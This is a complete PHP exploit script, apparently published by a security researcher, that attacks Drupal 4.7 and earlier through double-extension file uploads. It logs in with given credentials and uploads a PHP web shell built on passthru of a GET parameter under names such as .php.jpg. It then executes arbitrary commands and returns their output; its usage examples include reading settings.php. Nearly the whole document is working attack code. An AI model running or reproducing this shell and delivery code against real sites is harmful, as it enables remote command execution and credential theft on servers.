#!/usr/bin/php -q -d short_open_tag=on <?
echo "Drupal <= 4.7 attachment mod_mime poc exploit\r\n"; echo "by rgod [EMAIL PROTECTED]"; echo "site: http://retrogod.altervista.org\r\n\r\n";; /* this works with a user account with upload rights and with permissions to modify stories, however this is only a poc, you can do the same uploading an attachment through any module, like this, with double extension, through all modules: attach.php.pps with this content: */ $shell= '<?php if (get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);} ini_set("max_execution_time",0); echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A); passthru($_GET[cmd]); echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A); ?>'; /* then: http://[target]/[path]/files/attach.php.pps?cmd=ls%20-la also, I noticed that from an admin account you can upload .php3 or .php5 files */ if ($argc<6) { echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\r\n"; echo "host: target server (ip/hostname)\r\n"; echo "path: path to Drupal\r\n"; echo "user-pass: valid credentials with upload rights\r\n"; echo "cmd: a shell command\r\n"; echo "Options:\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." localhost /drupal/ user password cat ./../sites/default/settings.php\r\n"; echo "php ".$argv[0]." localhost /drupal/ user password ls -la -p81\r\n"; echo "php ".$argv[0]." localhost / user password ls -la -P1.1.1.1:80\r\n"; die; } ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$argv[1]; $path=$argv[2]; $user=$argv[3]; $pass=$argv[4]; $cmd="";$port=80;$proxy=""; for ($i=5; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} srand(make_seed()); $anumber = rand(1,99999); $data ="edit%5Bname%5D=".$user; $data.="&edit%5Bpass%5D=".$pass; $data.="&edit%5Bform_id%5D=user_login"; $data.="&op=Log%20in"; $packet="POST ".$path."?q=user/login&destination=node HTTP/1.0\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Referer: http://".$host.$path."\r\n";; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Connection: close\r\n\r\n"; $packet.=$data; // echo quick_dump($packet); sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(" ",$temp[2]); $cookie=$temp2[0]; echo "\r\nCookie -> ".$cookie."\r\n\r\n"; $ext= array(".php.jpg",".php.jpeg",".php.gif", ".php.png",".php.txt",".php.html",".php.doc",".php.xls",".php.pdf",".php.ppt",".php.pps"); for ($x=0; $x<=count($ext)-1;$x++) { echo "Trying with ".$ext[$x]." extension...\r\n"; $d=date("Y-m-d"); $data='-----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[title]" titolo -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[body]" corpo -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[format]" 1 -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[form_id]" story_node_form -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[name]" '.$user.' -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[date]" '.$d.' 23:59:59 +0000 -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[status]" 1 -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[promote]" 1 -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[comment]" 2 -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[path]" -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[menu][title]" -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[menu][description]" -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[menu][pid]" 1 -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[menu][path]" -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[menu][weight]" 0 -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[menu][mid]" 0 -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[menu][type]" 86 -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[upload]"; filename="suntzu'.$anumber.$ext[$x].'" Content-Type: image/jpeg '.$shell.' -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="fileop" Attach -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[fileop]" http://'.$host.$path.'?q=upload/js -----------------------------7d6381c1b00a2 Content-Disposition: form-data; name="edit[vid]" -----------------------------7d6381c1b00a2-- '; $packet="POST ".$p."?q=upload/js HTTP/1.0\r\n"; $packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6381c1b00a2\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Keep-Alive\r\n\r\n"; $packet.=$data; //echo quick_dump($packet); sendpacketii($packet); $data='-----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[title]" titolo -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[body]" corpo -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[format]" 1 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[form_id]" story_node_form -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[name]" '.$user.' -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[date]" '.$d.' 23:59:59 +0000 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[status]" 1 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[promote]" 1 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[comment]" 2 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[path]" -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[menu][title]" -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[menu][description]" -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[menu][pid]" 1 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[menu][path]" -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[menu][weight]" 0 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[menu][mid]" 0 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[menu][type]" 86 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[files][upload_0][list]" 1 -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[files][upload_0][description]" hello.txt -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[upload]"; filename="" Content-Type: image/jpeg -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[fileop]" http://'.$host.$path.'?q=upload/js -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="edit[vid]" -----------------------------7d6318101b00a2 Content-Disposition: form-data; name="op" Submit -----------------------------7d6318101b00a2-- '; $packet="POST ".$p."?q=node/add/story HTTP/1.0\r\n"; $packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6318101b00a2\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Keep-Alive\r\n\r\n"; $packet.=$data; //echo quick_dump($packet); sendpacketii($packet); $packet ="GET ".$p."files/suntzu".$anumber.$ext[$x]."?cmd=".$cmd." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; //echo quick_dump($packet); sendpacketii($packet); if (strstr($html,"*deli*")) {echo "Exploit succeeded...\r\n"; $temp=explode("*deli*",$html); die($temp[1]); } } //if you are here... echo "Exploit failed..."; ?> original url: http://retrogod.altervista.org/drupal_47_xpl.html
